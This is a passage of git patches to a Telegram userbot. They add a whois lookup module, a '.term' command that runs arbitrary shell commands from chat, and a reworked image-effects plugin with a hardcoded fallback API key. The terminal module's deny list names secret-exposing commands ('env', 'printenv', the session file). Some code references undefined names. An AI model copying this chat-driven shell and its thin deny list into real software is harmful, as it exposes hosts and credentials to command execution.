f"[{get_display_name(who_)}](tg://user?id={who_.id})" + + where_ = await event.client.get_entity(event.chat_id) + + where_m = get_display_name(where_) + button_text = "📨 Go to Message " + + if isinstance(where_, Channel): + message_link = f"https://t.me/c/{where_.id}/{event.id}" + else: + # not an official link, + # only works in DrKLO/Telegram, + # for some reason + message_link = f"tg://openmessage?chat_id={where_.id}&message_id={event.id}" + # Telegram is weird :\ + + ammoca_message += f"{who_m} tagged you in [{where_m}]({message_link})" + if NEEDTOLOG is not None: + await tgbot.send_message( + entity=NEEDTOLOG, + message=ammoca_message, + link_preview=False, + buttons=[[custom.Button.url(button_text, message_link)]], + silent=True, + ) + else: + return From f4a8b8e2fbdc660aac5827f8ebef8094b0b9a00f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:29:08 +0530 Subject: [PATCH 414/838] Thanks to Black Lightning --- fridaybot/modules/whois.py | 294 +++++++++++++++++++++++++++++++++++++ 1 file changed, 294 insertions(+) create mode 100644 fridaybot/modules/whois.py diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py new file mode 100644 index 00000000..8fa154ec --- /dev/null +++ b/fridaybot/modules/whois.py @@ -0,0 +1,294 @@ +"""Get Telegram User Information +Syntax: .whois @username/userid""" + + + +# Copyright (C) 2019 The Raphielscape Company LLC. +# +# Licensed under the Raphielscape Public License, Version 1.c (the "License"); +# you may not use this file except in compliance with the License. +# +# The entire source code is OSSRPL except 'whois' which is MPL +# License: MPL and OSSRPL +""" Userbot module for getiing info about any user on Telegram(including you!). """ + +import html +import os + +from requests import get +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location + +from .. import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from ..utils import admin_cmd, edit_or_reply + + +@borg.on(admin_cmd(pattern="userinfo(?: |$)(.*)")) +async def _(event): + if event.fwd_from: + return + replied_user, error_i_a = await get_full_user(event) + if replied_user is None: + return await edit_or_reply(event, f"`{str(error_i_a)}`") + user_id = replied_user.user.id + # some people have weird HTML in their names + first_name = html.escape(replied_user.user.first_name) + # https://stackoverflow.com/a/5072031/4723940 + # some Deleted Accounts do not have first_name + if first_name is not None: + # some weird people (like me) have more than 4096 characters in their + # names + first_name = first_name.replace("\u2060", "") + # inspired by https://telegram.dog/afsaI181 + common_chats = replied_user.common_chats_count + try: + dc_id, location = get_input_location(replied_user.profile_photo) + except: + dc_id = "Couldn't fetch DC ID!" + try: + casurl = "https://api.cas.chat/check?user_id={}".format(user_id) + data = get(casurl).json() + except Exception as e: + LOGS.info(e) + data = None + if data: + if data["ok"]: + cas = "**Antispam(CAS) Banned :** `True`" + else: + cas = "**Antispam(CAS) Banned :** `False`" + else: + cas = "**Antispam(CAS) Banned :** `Couldn't Fetch`" + caption = """**Info of [{}](tg://user?id={}): + -🔖ID : **`{}` + **-**👥**Groups in Common : **`{}` + **-**🌏**Data Centre Number : **`{}` + **-**🔏**Restricted by telegram : **`{}` + **-**🦅{} + **-**👮‍♂️{} +""".format( + first_name, + user_id, + user_id, + common_chats, + dc_id, + replied_user.user.restricted, + sw, + cas, + ) + await event.edit(caption) + + +async def get_full_user(event): + input_str = event.pattern_match.group(1) + if input_str: + try: + try: + input_str = int(input_str) + except: + pass + user_object = await event.client.get_entity(input_str) + user_id = user_object.id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user, None + except Exception as e: + return None, e + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + if previous_message.forward: + replied_user = await event.client( + GetFullUserRequest( + previous_message.forward.from_id + or previous_message.forward.channel_id + ) + ) + return replied_user, None + replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + return replied_user, None + if event.is_private: + try: + user_id = event.chat_id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user, None + except Exception as e: + return None, e + return None, "No input is found" + + +@borg.on(admin_cmd(pattern="whois(?: |$)(.*)")) +async def who(event): + cat = await edit_or_reply( + event, "`Sit tight while I steal some data from This guuyyy...`" + ) + if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(TEMP_DOWNLOAD_DIRECTORY) + replied_user = await get_user(event) + try: + photo, caption = await fetch_info(replied_user, event) + except AttributeError: + await edit_or_reply(event, "`Could not fetch info of that user.`") + return + message_id_to_reply = event.message.reply_to_msg_id + if not message_id_to_reply: + message_id_to_reply = None + try: + await borg.send_file( + event.chat_id, + photo, + caption=caption, + link_preview=False, + force_document=False, + reply_to=message_id_to_reply, + parse_mode="html", + ) + if not photo.startswith("http"): + os.remove(photo) + await cat.delete() + except TypeError: + await cat.edit(caption, parse_mode="html") + + +async def get_user(event): + """ Get the user from argument or replied message. """ + if event.reply_to_msg_id and not event.pattern_match.group(1): + previous_message = await event.get_reply_message() + replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + else: + user = event.pattern_match.group(1) + if user.isnumeric(): + user = int(user) + if not user: + self_user = await event.client.get_me() + user = self_user.id + if event.message.entities: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user + try: + user_object = await event.client.get_entity(user) + replied_user = await event.client(GetFullUserRequest(user_object.id)) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return replied_user + + +async def fetch_info(replied_user, event): + """ Get details from the User object. """ + replied_user_profile_photos = await event.client( + GetUserPhotosRequest( + user_id=replied_user.user.id, offset=42, max_id=0, limit=80 + ) + ) + replied_user_profile_photos_count = "User haven't set profile pic" + try: + replied_user_profile_photos_count = replied_user_profile_photos.count + except AttributeError: + pass + user_id = replied_user.user.id + first_name = replied_user.user.first_name + last_name = replied_user.user.last_name + try: + dc_id, location = get_input_location(replied_user.profile_photo) + except: + dc_id = "Couldn't fetch DC ID!" + common_chat = replied_user.common_chats_count + username = replied_user.user.username + user_bio = replied_user.about + is_bot = replied_user.user.bot + restricted = replied_user.user.restricted + verified = replied_user.user.verified + photo = await event.client.download_profile_photo( + user_id, TEMP_DOWNLOAD_DIRECTORY + str(user_id) + ".jpg", download_big=True + ) + first_name = ( + first_name.replace("\u2060", "") + if first_name + else ("This User has no First Name") + ) + last_name = ( + last_name.replace("\u2060", "") if last_name else ("This User has no Last Name") + ) + username = "@{}".format(username) if username else ("This User has no Username") + user_bio = "This User has no About" if not user_bio else user_bio + caption = "USER INFO from DARK COBRA's database :\n\n" + caption += f"👤First Name: {first_name} {last_name}\n" + caption += f"🤵Username: {username}\n" + caption += f"🔖ID: {user_id}\n" + caption += f"🌏Data Centre ID: {dc_id}\n" + caption += f"🖼Number of Profile Pics: {replied_user_profile_photos_count}\n" + caption += f"🤖Is Bot: {is_bot}\n" + caption += f"🔏Is Restricted: {restricted}\n" + caption += f"🌐Is Verified by Telegram: {verified}\n\n" + caption += f"✍️Bio: \n{user_bio}\n\n" + caption += f"👥Common Chats with this user: {common_chat}\n" + caption += f"🔗Permanent Link To Profile: " + caption += f'{first_name}' + return photo, caption + + +@borg.on(admin_cmd(pattern="link(?: |$)(.*)")) +async def permalink(mention): + """ For .link command, generates a link to the user's PM with a custom text. """ + user, custom = await get_user_from_event(mention) + if not user: + return + if custom: + await edit_or_reply(mention, f"[{custom}](tg://user?id={user.id})") + else: + tag = ( + user.first_name.replace("\u2060", "") if user.first_name else user.username + ) + await edit_or_reply(mention, f"[{tag}](tg://user?id={user.id})") + + +async def get_user_from_event(event): + """ Get the user from argument or replied message. """ + args = event.pattern_match.group(1).split(":", 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.from_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`Pass the user's username, id or reply!`") + return + if event.message.entities: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj, extra + + +async def ge(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj + +CMD_HELP.update( + { + "whois": ".whois @username/userid" + "\nUsage: Get Telegram User Information. \n\n" + } +) From 59c390396b1d64300e7f335c5d7a74ff52e9217e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:31:51 +0530 Subject: [PATCH 415/838] Create terminal.py --- fridaybot/modules/terminal.py | 52 +++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 fridaybot/modules/terminal.py diff --git a/fridaybot/modules/terminal.py b/fridaybot/modules/terminal.py new file mode 100644 index 00000000..3d7547e6 --- /dev/null +++ b/fridaybot/modules/terminal.py @@ -0,0 +1,52 @@ +import os +import asyncio +from getpass import getuser +from os import remove +from subprocess import PIPE +from subprocess import run as runapp +import pybase64 +from sys import executable +from fridaybot import CMD_HELP, ALIVE_NAME, BOTLOG, BOTLOG_CHATID, bot +from ..utils import admin_cmd +DARKCOBRA = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" + +import inspect +running_processes: dict = {} + + +@bot.on(admin_cmd(pattern="term(?: |$|\n)([\s\S]*)")) +async def dc(event): + await event.edit(f"**{DARKCOBRA}**: `Running Terminal.....`") + message = (str(event.chat_id) + ':' + str(event.message.id)) + if running_processes.get(message, False): + await event.edit("A process for this event is already running!") + return + cmd = event.pattern_match.group(1).strip() + if not cmd: + await event.edit("``` Give a command or use .help terminal.```") + return + if cmd in ("userbot.session", "env", "printenv"): + return await event.edit(f"`{DARKCOBRA}:` **Privacy Error, This command not permitted**") + process = await asyncio.create_subprocess_shell( + cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + running_processes.update({message: process}) + stdout, stderr = await process.communicate() + not_killed = running_processes.get(message, False) + if not_killed: + del running_processes[message] + text = f"**Terminal Command**: `{cmd}`\n**Return code**: `{process.returncode}`\n\n" + if stdout: + text += "\n**[stdout]**\n`" + stdout.decode("UTF-8").strip() + "\n`" + if stderr: + text += "\n**[stderr]**\n`" + stderr.decode('UTF-8').strip() + "\n`" + if stdout or stderr: + if not len(text) > 4096: + return await event.edit(text) + output = open("term.txt", "w+") + output.write(text) + output.close() + await event.client.send_file(event.chat_id, "term.txt", reply_to=event.id, caption=f"`{DARKCOBRA}:` **Output too large, sending as file**") + os.remove("term.txt") + return + + From 494b33a352cd23c409c1baf3087115e837d87767 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:48:36 +0530 Subject: [PATCH 416/838] Update imagefun.py --- fridaybot/modules/imagefun.py | 550 +++++++++++----------------------- 1 file changed, 176 insertions(+), 374 deletions(-) diff --git a/fridaybot/modules/imagefun.py b/fridaybot/modules/imagefun.py index 991540ca..fe87fb56 100644 --- a/fridaybot/modules/imagefun.py +++ b/fridaybot/modules/imagefun.py @@ -1,420 +1,222 @@ -#Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc -# Kangers Keep Credits - -# Kepp Credits -import os + # By @danish_00 + # import cv2 + # with @shivam_patel + # @THE_B_LACK_HAT + # Team Dc + # For Cobra +import cv2 import numpy as np -import requests, re -from PIL import Image +from PIL import Image, ImageDraw +import pygments, os, asyncio, shutil, scapy, sys, requests, re, subprocess, urllib +from pygments.lexers import Python3Lexer +from pygments.formatters import ImageFormatter +from fridaybot import bot, CMD_HELP +from fridaybot.utils import admin_cmd, sudo_cmd from telegraph import upload_file +from telethon import events from telethon.tl.types import MessageMediaPhoto -from fridaybot import bot, CMD_HELP -from ..utils import admin_cmd, sudo_cmd -pathdc = "./shivam/" -if not os.path.isdir(pathdc): - os.makedirs(pathdc) - -#keep CREDIT LINES ELSE GET LOST - +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) @bot.on(admin_cmd(pattern=r"trig")) -@bot.on(sudo_cmd(pattern=r"trig", allow_sudo=True)) async def dc(event): - await event.edit("Making this image 😡triggered😈") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") return - url = upload_file(img) + reply = await event.get_reply_message() + await event.edit('`Processing...`') + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + url = upload_file("danish.png") link = f"https://telegra.ph{url[0]}" - hmm = f"https://some-random-api.ml/canvas/triggered?avatar={link}" - r = requests.get(hmm) + api = f"https://some-random-api.ml/canvas/triggered?avatar={link}" + r = requests.get(api) open("shivam.gif", "wb").write(r.content) - hehe = "shivam.gif" - await borg.send_file( - event.chat_id, hehe, caption="Got Triggered 😈😂", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) + await event.client.send_file(event.chat_id, "shivam.gif", force_document=False, reply_to=event.reply_to_msg_id) await event.delete() + shutil.rmtree(path) + os.remove("danish.png") + os.remove("shivam.gif") + - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits @bot.on(admin_cmd(pattern=r"wst")) -@bot.on(sudo_cmd(pattern=r"wst", allow_sudo=True)) -async def dc(event): - await event.edit("What a waste 😒😒") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") - return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hmm = f"https://some-random-api.ml/canvas/wasted?avatar={link}" - r = requests.get(hmm) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Totally wasted⚰️ 😒", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) - await event.delete() - - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits - - - - - -@bot.on(admin_cmd(pattern=r"grey")) -@bot.on(sudo_cmd(pattern=r"grey", allow_sudo=True)) -async def dc(event): - await event.edit("Stealing Color from this 😜") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") - return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/greyscale?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Ur Black nd White img here 🙃", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) - await event.delete() - ##Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits - -@bot.on(admin_cmd(pattern=r"blur")) -@bot.on(sudo_cmd(pattern=r"blur", allow_sudo=True)) -async def dc(event): - await event.edit("Bluring Image🤓🤓") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") - return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/blur?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Blured 🤓", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) - await event.delete() - - -@bot.on(admin_cmd(pattern=r"invert")) -@bot.on(sudo_cmd(pattern=r"invert", allow_sudo=True)) -async def dc(event): - await event.edit("Inverting Image🤔🤔") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") - return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/invert?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Hmm 🤔 try to invert again", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) - await event.delete() - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits - -@bot.on(admin_cmd(pattern=r"igrey")) -@bot.on(sudo_cmd(pattern=r"igery", allow_sudo=True)) async def dc(event): - await event.edit("Don't know what i'm doing 😛😜") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") return - url = upload_file(img) + reply = await event.get_reply_message() + await event.edit('`Processing...`') + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + url = upload_file("danish.jpg") link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/invertgreyscale?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) + api = f"https://some-random-api.ml/canvas/wasted?avatar={link}" + r = requests.get(api) + open("shivam.jpg", "wb").write(r.content) + await event.client.send_file(event.chat_id, "shivam.jpg", stream=True, reply_to=event.reply_to_msg_id) await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("shivam.jpg") - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits -# Kepp Credits -@bot.on(admin_cmd(pattern=r"bright")) -@bot.on(sudo_cmd(pattern=r"bright", allow_sudo=True)) -async def dc(event): - await event.edit("Adding Brightness 😎") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") +@bot.on(admin_cmd(pattern="rgif")) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/brightness?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Brightness increased 😎😎", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + danish = Image.open("danish.png") + dark,python = danish.size + cobra = f"""ffmpeg -f lavfi -i color=c=ffffff00:s={dark}x{python}:d=10 -loop 1 -i danish.png -filter_complex "[1]rotate=angle=PI*t:fillcolor=none:ow='hypot(iw,ih)':oh=ow[fg];[0][fg]overlay=x=(W-w)/2:y=(H-h)/2:shortest=1:format=auto,format=yuv420p" -movflags +faststart danish.mp4 -y""" + await event.edit("```Processing ...```") + if event.reply_to_msg_id: + reply_to_id = event.reply_to_msg_id + process = await asyncio.create_subprocess_shell( + cobra, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + stdout, stderr = await process.communicate() + await event.edit("```Uploading...```") + await event.client.send_file(event.chat_id, "danish.mp4" , force_document=False, reply_to=event.reply_to_msg_id) await event.delete() - - + shutil.rmtree(path) + os.remove("danish.mp4") + os.remove("danish.png") - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits -@bot.on(admin_cmd(pattern=r"ytc")) -@bot.on(sudo_cmd(pattern=r"ytc", allow_sudo=True)) +@bot.on(admin_cmd("grey")) async def hehe(event): - await event.edit("Lets make a utube comment 😁😁") - givenvar=event.text - text = givenvar[5:] - try: - global username, comment - username, comment= text.split(".") - except: - await event.edit("`.ytc username.comment reply to image`") + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + cv2.imwrite("danish.jpg", gray) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) await event.delete() - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathd ) - else: - await event.edit("Reply To Image") + shutil.rmtree(path) + os.remove("danish.jpg") + + # api for adding color only.... +DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" +@borg.on(admin_cmd(pattern="color$", outgoing=True)) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") return - url_s = upload_file(img) - imglink = f"https://telegra.ph{url_s[0]}" - nikal = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&comment={comment}&username={username}" - r = requests.get(nikal) - open("shivam.png", "wb").write(r.content) - chutiya = "shivam.png" - await borg.send_file( - event.chat_id, chutiya, reply_to=dc - ) - for files in (chutiya, img): - if files and os.path.exists(files): - os.remove(files) - + reply = await event.get_reply_message() + await event.edit("`Coloring image 🎨🖌️...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + r = requests.post( + "https://api.deepai.org/api/colorizer", + files={"image": open("danish.jpg", "rb")}, + headers={"api-key": f"{DARKCOBRA}"}) + os.remove("danish.jpg") + if "status" in r.json(): + return await event.edit( r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + await bot.send_message(event.chat_id, file = result, reply_to=event.reply_to_msg_id) await event.delete() - - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits -@bot.on(admin_cmd(pattern=r"glass")) -@bot.on(sudo_cmd(pattern=r"glass", allow_sudo=True)) -async def dc(event): - await event.edit("Framing image under Glass 😁😁") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") + + +@bot.on(admin_cmd(pattern="circle", outgoing=True)) +async def shiv(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/glass?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, caption="Wow Image Trapped Under the glass 😂", reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) + await event.edit("```Processing...```") + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + danish = cv2.VideoCapture(download) + ret, frame = danish.read() + cv2.imwrite("danish.jpg", frame) + img=Image.open("danish.jpg").convert("RGB") + npImage=np.array(img) + h,w=img.size + alpha = Image.new('L', img.size,0) + draw = ImageDraw.Draw(alpha) + draw.pieslice([0,0,h,w],0,360,fill=255) + npAlpha=np.array(alpha) + npImage=np.dstack((npImage,npAlpha)) + Image.fromarray(npImage).save('shivam.webp') + await event.client.send_file(event.chat_id, "shivam.webp", force_document=False, reply_to=event.reply_to_msg_id) await event.delete() - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc + shutil.rmtree(path) + os.remove("shivam.webp") + os.remove("danish.jpg") -# Kangers Keep Credits -# Kepp Credits - -@bot.on(admin_cmd(pattern=r"blrpl")) -@bot.on(sudo_cmd(pattern=r"blrpl", allow_sudo=True)) -async def dc(event): - await event.edit("Bluring Image🤓🤓") - dc = await event.get_reply_message() - if isinstance(dc.media, MessageMediaPhoto): - img = await borg.download_media(dc.media, pathdc) - elif "image" in dc.media.document.mime_type.split("/"): - img = await borg.download_media(dc.media, pathdc) - else: - await event.edit("Reply To any Image only 😅😅") +@borg.on(admin_cmd(pattern="ftoon$")) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") return - url = upload_file(img) - link = f"https://telegra.ph{url[0]}" - hehe = f"https://some-random-api.ml/canvas/blurple?avatar={link}" - r = requests.get(hehe) - open("shivam.png", "wb").write(r.content) - hehe = "shivam.png" - await borg.send_file( - event.chat_id, hehe, reply_to=dc - ) - for files in (hehe, img): - if files and os.path.exists(files): - os.remove(files) + reply = await event.get_reply_message() + await event.edit("```Toonifing face😜😝...```") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + r = requests.post( + "https://api.deepai.org/api/toonify", + files={"image": open("danish.jpg", "rb")}, + headers={"api-key": f"{DARKCOBRA}"}) + os.remove("danish.jpg") + if "status" in r.json(): + return await event.edit( r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + await event.edit("```Be sure to reply a image in which face is visible```") + await bot.send_message(event.chat_id, file = result, reply_to=event.reply_to_msg_id) await event.delete() - - - #Made By Sh1vam Donot KANG -# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT -#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 -# DARKCOBRA ORIGINAL -# by @shivam_patel , fix nd edited by @danish_00 -# by #team dc - -# Kangers Keep Credits - -# Kepp Credits - CMD_HELP.update( { "imagefun": "__**PLUGIN NAME :** Image Fun _\ - \n\n📌** CMD ★** `.trig (reply to image)`\ + \n\n📌** CMD ★** `.trig (reply to media)`\ + \n**USAGE ★ **Makes a Triggered Gif\ + \n\n📌** CMD ★** `.wst(reply to media)`\ \n**USAGE ★ **Makes a Triggered Gif\ - \n\n📌** CMD ★** `.wst(reply to image)`\ - \n**USAGE ★ **Show A Wasted Image 😂😂\ - \n\n📌** CMD ★** `.grey(reply to image)`\ + \n\n📌** CMD ★** `.rgif(reply to media)`\ + \n**USAGE ★ **Show A rotation gif. 